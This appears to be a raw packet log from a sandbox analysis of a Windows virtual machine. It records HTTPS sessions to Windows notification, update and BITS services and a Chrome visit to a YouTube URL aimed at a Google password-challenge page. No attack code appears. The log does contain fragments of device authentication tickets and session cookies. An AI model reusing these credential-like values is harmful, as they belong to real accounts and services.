2024-10-03 01:27:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 67 71 50 57 70 53 42 41 30 4f 6e 54 2f 75 4f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 62 64 66 64 30 34 32 65 62 36 39 30 65 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BgqPWpSBA0OnT/uO.1Context: 67bdfd042eb690e2
2024-10-03 01:27:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:27:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 67 71 50 57 70 53 42 41 30 4f 6e 54 2f 75 4f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 62 64 66 64 30 34 32 65 62 36 39 30 65 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BgqPWpSBA0OnT/uO.2Context: 67bdfd042eb690e2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:27:01 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 67 71 50 57 70 53 42 41 30 4f 6e 54 2f 75 4f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 62 64 66 64 30 34 32 65 62 36 39 30 65 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BgqPWpSBA0OnT/uO.3Context: 67bdfd042eb690e2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:27:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:27:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 6c 6c 62 44 78 57 56 42 55 69 4d 33 4f 39 36 32 59 56 38 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pllbDxWVBUiM3O962YV8vg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kFWKEeFrVwhg8kZ&MD=xEZkNBLb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 01:27:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b70d5534-d6a1-4dff-8729-0c4c9640b646 MS-RequestId: 45e5cd63-681b-4486-a304-2fa139112cd7 MS-CV: ewGYutq/10uuUsYj.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 01:27:01 GMT Connection: close Content-Length: 30005
2024-10-03 01:27:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-03 01:27:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49741	142.250.186.174	443	6364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:14 UTC	859	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:27:14 UTC	1704	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Thu, 03 Oct 2024 01:27:14 GMT Date: Thu, 03 Oct 2024 01:27:14 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: require-trusted-types-for 'script' Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49745	142.250.185.142	443	6364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:15 UTC	877	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:27:15 UTC	2634	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 01:27:15 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 03-Oct-2024 01:57:15 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=yOUrApn3ZpU; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=GMMa1Ri0ARs; Domain=.youtube.com; Expires=Tue, 01-Apr-2025 01:27:15 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgNg%3D%3D; Domain=.youtube.com; Expires=Tue, 01-Apr-2025 01:27:15 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49755	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 01:27:21 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=55110 Date: Thu, 03 Oct 2024 01:27:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49761	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 01:27:22 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=55053 Date: Thu, 03 Oct 2024 01:27:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-03 01:27:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49767	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 70 4e 47 67 66 76 67 61 45 43 30 34 4d 55 79 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 61 31 35 30 34 66 36 31 64 38 33 33 62 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fpNGgfvgaEC04MUy.1Context: b7a1504f61d833b8
2024-10-03 01:27:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:27:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 70 4e 47 67 66 76 67 61 45 43 30 34 4d 55 79 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 61 31 35 30 34 66 36 31 64 38 33 33 62 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fpNGgfvgaEC04MUy.2Context: b7a1504f61d833b8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:27:23 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 66 70 4e 47 67 66 76 67 61 45 43 30 34 4d 55 79 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 61 31 35 30 34 66 36 31 64 38 33 33 62 38 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: fpNGgfvgaEC04MUy.3Context: b7a1504f61d833b8
2024-10-03 01:27:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:27:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 63 55 50 4c 74 56 71 6a 6b 2b 73 6f 53 75 4b 2b 6d 51 6f 45 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YcUPLtVqjk+soSuK+mQoEw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49775	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 44 41 7a 78 6d 45 78 33 55 79 34 67 73 6e 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 30 34 63 36 33 63 65 37 33 35 34 36 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: hDAzxmEx3Uy4gsnz.1Context: 44d04c63ce735468
2024-10-03 01:27:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:27:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 44 41 7a 78 6d 45 78 33 55 79 34 67 73 6e 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 30 34 63 36 33 63 65 37 33 35 34 36 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: hDAzxmEx3Uy4gsnz.2Context: 44d04c63ce735468<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
